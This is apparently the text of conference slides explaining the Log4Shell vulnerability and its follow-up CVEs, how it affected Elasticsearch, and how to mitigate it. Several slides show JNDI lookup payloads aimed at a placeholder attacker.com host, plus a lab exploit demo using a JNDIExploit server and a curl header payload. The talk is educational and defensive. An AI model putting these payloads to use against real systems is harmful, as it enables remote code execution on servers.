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Who remembers Log4Shell?

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa









Agenda
What is Log4Shell?

How can you exploit it?
How can it affect products?

How can you protect against it?

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



Developer 
!

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



What is Log4Shell?

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



CVE-2021-44228
Log4j 2.0-beta9–2.12.1 & 2.13.0–2.14.1
https://logging.apache.org/log4j/2.x/

security.html#log4j-2.15.0
https://cve.mitre.org/cgi-bin/cvename.cgi?

name=CVE-2021-44228

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa

https://logging.apache.org/log4j/2.x/security.html#log4j-2.15.0
https://logging.apache.org/log4j/2.x/security.html#log4j-2.15.0
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228


Java Naming and Directory 
Interface (JNDI)

https://rickgray.me/2016/08/19/jndi-injection-from-theory-to-apply-blackhat-review/ 
(2016)

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa

https://rickgray.me/2016/08/19/jndi-injection-from-theory-to-apply-blackhat-review/


Log4Shell
https://www.lunasec.io/docs/blog/log4j-zero-day/

${jndi:ldap://attacker.com:1389/a}

Remote Code Execution
Common Vulnerability Scoring System 10/10

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa

https://www.lunasec.io/docs/blog/log4j-zero-day/


https://securityzines.com/flyers/log4j.html

https://securityzines.com/flyers/log4j.html




CVSS

https://www.balbix.com/insights/base-cvss-scores/

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa

https://www.balbix.com/insights/base-cvss-scores/


Upgrade
JDK7 Log4j 2.12.4

JDK8+ 2.15.0 2.16.0, but 2.17.1+ recommended

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



Security scanners are 
!

log4j2.formatMsgNoLookups=true
available 2.10+, default 2.15+

Some attack vectors depend on JDK features
Remove JndiLookup class from the classpath

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa





CVE-2021-45046
Incomplete patch in 2.15.0

CVSS 3.7 (limited DoS) updated to 9.0 (limited RCE)
${jndi:ldap://attacker.com:1389/a}to

${jndi:ldap://127.0.0.1#attacker.com:1389/a}

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



Exploit
Custom / non-default pattern 
appender.console.layout.pattern = ${ctx:tainted} - 
%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n

ThreadContext.put("tainted", TAINTED);
logger.error("My log message with tainted context...");

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



Upgrade
Log4j 2.16.0 or 2.12.2

Or remove JndiLookup class

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa





CVE-2021-45105
New vulnerability, non-default pattern needed

CVSS 5.9 (DoS)
Upgrade to 2.17.0 or 2.12.3.

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



Change

To close this attack vector for good, Log4j 2.17.0 changed 
recursive substitution within lookups:

Recursive evaluation is allowed while parsing the configuration 
(no user-input/LogEvent data is present, and configuration breaks 
are to be avoided) however when log-events themselves are 
being evaluated we never recursively evaluate substitutions.

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa

https://github.com/apache/logging-log4j2/blob/release-2.x/docs/2.17.0-interpolation.md




CVE-2021-44832
RCE via the JDBC Appender when an attacker controls 

the configuration in 2.17.0
CVSS 6.6

Upgrade to 2.17.1 or 2.12.4

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



PS: How many "features" should 
your logger have?

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



Questions?
slido.com #xeraa

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



How can you exploit 
it?

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



Example
Spring Boot: https://github.com/christophetd/

log4shell-vulnerable-app

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa

https://github.com/christophetd/log4shell-vulnerable-app
https://github.com/christophetd/log4shell-vulnerable-app


Gradle

dependencies {
    implementation('org.springframework.boot:spring-boot-starter-web') {
        exclude group: 'org.springframework.boot', module: 'spring-boot-starter-logging'
    }
    implementation 'org.springframework.boot:spring-boot-starter-log4j2:2.6.1'
    testImplementation 'org.springframework.boot:spring-boot-starter-test'
}

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



Java

@RestController
public class MainController {

    private static final Logger logger = LogManager.getLogger("HelloWorld");

    @GetMapping("/")
    public String index(@RequestHeader("X-Api-Version") String apiVersion) {
        logger.info("Received a request for API version " + apiVersion);
        return "Hello, world!";
    }

}

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



Exploit

# Exploit server
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i <private IP> -p 8888

# Loading the exploit
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://<private IP>:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Owned system
docker exec vulnerable-app ls /tmp

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



Why was there no virus / worm?

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



Questions?
slido.com #xeraa

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



How can it affect 
products?

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



Elasticsearch 5.0 to 7.16.0 are 
using a vulnerable Log4j2 version 

!

 But it's not that simple...

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



Elasticsearch Log4j JDK RCE Leak Action required Protection in 
place

≥7.16.3 2.17.1 any – – – Log4j 2.17.1 and 
JNDILookup class 
removed

7.16.2 2.17.0 any – – – Log4j 2.17.0 and 
JNDILookup class 
removed

7.16.1 2.11.1 any – – – JNDILookup class 
removed and 
log4j2.formatMs
gNoLookups=true

7.0.0–7.16.0 2.11.1 ≥9 – – – Java Security 
Manager and 
JVM default

7.0.0–7.16.0 2.11.1 <9 – ! formatMsgNoLook
ups

Java Security 
Manager

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



Elasticsearch Log4j JDK RCE Leak Action required Protection in place

≥6.8.23 2.17.1 any – – – Log4j 2.17.1 and 
JNDILookup class 
removed

6.8.22 2.17.0 any – – – Log4j 2.17.0 and 
JNDILookup class 
removed

6.8.21 2.11.1 any – – – JNDILookup class 
removed and 
log4j2.formatMsgNo
Lookups=true

6.4.0–6.8.20 2.11.1 ≥9 – – – Java Security 
Manager and JVM 
default

6.4.0–6.8.20 2.11.1 <9 – ! formatMsgNoLookups Java Security 
Manager

6.0.0–6.3.2 2.9.1 ≥9 – – – Java Security 
Manager and JVM 
default

6.0.0–6.3.2 2.9.1 <9 – ! Remove JNDILookup 
class

Java Security 
Manager

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



Elasticsear
ch

Log4j JDK RCE Leak Action 
required

Protection 
in place

≥5.6.11 2.11.1 any ! ! formatMsgN
oLookups

–

5.0.0–5.6.10 2.6.2–2.9.1 any ! ! Remove 
JNDILookup 
class

–

<5.0.0 1.x any – – – Log4j 1.x

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



Do you know the Log4j and JDK 
versions of all your 

dependencies?

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



...on Docker?

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



Built-in JDK
Elasticsearch since 7.0.0; Docker since 5.0.0

Check GET _nodes/?
filter_path=nodes.*.name,nodes.*.jvm

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



Java Security Manager
Saved our 

!

Deprecated in JDK17
https://openjdk.java.net/jeps/411

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa

https://openjdk.java.net/jeps/411


　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



JSM replacement
Modularization + other tricks in the works

https://github.com/elastic/elasticsearch/labels/
modularization

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa

https://github.com/elastic/elasticsearch/labels/modularization
https://github.com/elastic/elasticsearch/labels/modularization


security.policy

// Allow host/ip name service lookups
permission java.net.SocketPermission "*", "resolve";

// Allow reading and setting socket keepalive options
permission jdk.net.NetworkPermission "getOption.TCP_KEEPIDLE";
permission jdk.net.NetworkPermission "setOption.TCP_KEEPIDLE";
permission jdk.net.NetworkPermission "getOption.TCP_KEEPINTERVAL";
permission jdk.net.NetworkPermission "setOption.TCP_KEEPINTERVAL";
permission jdk.net.NetworkPermission "getOption.TCP_KEEPCOUNT";
permission jdk.net.NetworkPermission "setOption.TCP_KEEPCOUNT";

https://github.com/elastic/elasticsearch/blob/7.16/server/src/main/resources/org/
elasticsearch/bootstrap/security.policy

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa

https://github.com/elastic/elasticsearch/blob/7.16/server/src/main/resources/org/elasticsearch/bootstrap/security.policy
https://github.com/elastic/elasticsearch/blob/7.16/server/src/main/resources/org/elasticsearch/bootstrap/security.policy


Java Security Manager
Few exceptions for https://github.com/elastic/

elasticsearch/search?q=SocketPermission like Netty
Elasticsearch 5.x not as strict

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa

https://github.com/elastic/elasticsearch/search?q=SocketPermission
https://github.com/elastic/elasticsearch/search?q=SocketPermission


Longstanding Log4j update
https://github.com/elastic/elasticsearch/pull/47298

Not merged because of Security Manager

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa

https://github.com/elastic/elasticsearch/pull/47298


Mitigate
Set -Dlog4j2.formatMsgNoLookups=true

 Check GET _nodes/?
filter_path=nodes.*.name,nodes.*.jvm.input_arguments

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



Hack
Remove JNDILookup class with Gradle

def patchLog4j = tasks.register('patchLog4j', Zip) {
  archiveExtension = 'jar'
  from({ zipTree(configurations.log4j.singleFile) }) {
    exclude '**/JndiLookup.class'
  }
}

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



Bad Hack

# Remove `JNDILookup` class in the JAR
zip -d lib/log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

# Check
jar tvf lib/log4j-core-*.jar | grep -i JndiLookup

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



Hot Patch
https://github.com/corretto/hotpatch-for-apache-

log4j2
Every time the process starts; not officially tested or 

recommended for Elasticsearch

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa

https://github.com/corretto/hotpatch-for-apache-log4j2
https://github.com/corretto/hotpatch-for-apache-log4j2


Hot Patch vulnerability
https://www.computerweekly.com/news/

252516112/AWS-fixes-vulnerabilities-in-Log4Shell-
hot-patch (April 2022)

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa

https://www.computerweekly.com/news/252516112/AWS-fixes-vulnerabilities-in-Log4Shell-hot-patch
https://www.computerweekly.com/news/252516112/AWS-fixes-vulnerabilities-in-Log4Shell-hot-patch
https://www.computerweekly.com/news/252516112/AWS-fixes-vulnerabilities-in-Log4Shell-hot-patch


Don't try to be (too) smart

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa





Elasticsearch logging API

PUT _cluster/settings
{
  "persistent": {
    "logger._root": "OFF"
  }
}

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



Drop / replace the logging JARs
Startup error, Security Manager error, or maybe 

working

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



Support overwhelmed by 
requests

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



Questions?
slido.com #xeraa

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



How can you protect 
against it?

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



Misconceptions
I need to use a vulnerable version in my app

An attacker needs to be able to access a vulnerable 
system

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



General
Sanitize inputs

Incoming / outgoing firewall

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/

https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/






PS: OSS drama around Log4j1
https://github.com/qos-ch/reload4j

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa

https://github.com/qos-ch/reload4j


Insights from tracing

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa





Insights from security

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa





Questions?
slido.com #xeraa

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



Conclusion

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



This is such a mess...

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



...that's probably lurking 
somewhere in your infrastructure

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



!
 major vulnerability and

"

 follow-ups

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa





Easy to exploit in theory,
reality is complex

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



Is it still a problem?

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



Philipp Krenn　　　　@xeraa

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa



Links

• https://logging.apache.org/log4j/2.x/security.html#log4j-2.15.0

• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228

• https://rickgray.me/2016/08/19/jndi-injection-from-theory-to-apply-blackhat-review/

• https://www.lunasec.io/docs/blog/log4j-zero-day/

• https://securityzines.com/flyers/log4j.html

• https://www.balbix.com/insights/base-cvss-scores/

• https://github.com/apache/logging-log4j2/blob/release-2.x/docs/2.17.0-interpolation.md

• https://github.com/christophetd/log4shell-vulnerable-app

• https://openjdk.java.net/jeps/411

• https://github.com/elastic/elasticsearch/labels/modularization

• https://github.com/elastic/elasticsearch/blob/7.16/server/src/main/resources/org/elasticsearch/bootstrap/
security.policy

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa

https://logging.apache.org/log4j/2.x/security.html#log4j-2.15.0
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
https://rickgray.me/2016/08/19/jndi-injection-from-theory-to-apply-blackhat-review/
https://www.lunasec.io/docs/blog/log4j-zero-day/
https://securityzines.com/flyers/log4j.html
https://www.balbix.com/insights/base-cvss-scores/
https://github.com/apache/logging-log4j2/blob/release-2.x/docs/2.17.0-interpolation.md
https://github.com/christophetd/log4shell-vulnerable-app
https://openjdk.java.net/jeps/411
https://github.com/elastic/elasticsearch/labels/modularization
https://github.com/elastic/elasticsearch/blob/7.16/server/src/main/resources/org/elasticsearch/bootstrap/security.policy
https://github.com/elastic/elasticsearch/blob/7.16/server/src/main/resources/org/elasticsearch/bootstrap/security.policy


Links

• https://github.com/elastic/elasticsearch/search?q=SocketPermission

• https://github.com/elastic/elasticsearch/pull/47298

• https://github.com/corretto/hotpatch-for-apache-log4j2

• https://www.computerweekly.com/news/252516112/AWS-fixes-vulnerabilities-in-Log4Shell-hot-patch

• https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/

• https://github.com/DickReverse/InfosecMindmaps/blob/main/Log4shell/AmIVulnerable-Log4shell-
v6.1.png

• https://twitter.com/bagder/status/1484672924036616195

• https://github.com/qos-ch/reload4j

• https://www.cisa.gov/uscert/ncas/current-activity/2022/06/23/malicious-cyber-actors-continue-exploit-
log4shell-vmware-horizon

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　@xeraa

https://github.com/elastic/elasticsearch/search?q=SocketPermission
https://github.com/elastic/elasticsearch/pull/47298
https://github.com/corretto/hotpatch-for-apache-log4j2
https://www.computerweekly.com/news/252516112/AWS-fixes-vulnerabilities-in-Log4Shell-hot-patch
https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/
https://github.com/DickReverse/InfosecMindmaps/blob/main/Log4shell/AmIVulnerable-Log4shell-v6.1.png
https://github.com/DickReverse/InfosecMindmaps/blob/main/Log4shell/AmIVulnerable-Log4shell-v6.1.png
https://twitter.com/bagder/status/1484672924036616195
https://github.com/qos-ch/reload4j
https://www.cisa.gov/uscert/ncas/current-activity/2022/06/23/malicious-cyber-actors-continue-exploit-log4shell-vmware-horizon
https://www.cisa.gov/uscert/ncas/current-activity/2022/06/23/malicious-cyber-actors-continue-exploit-log4shell-vmware-horizon

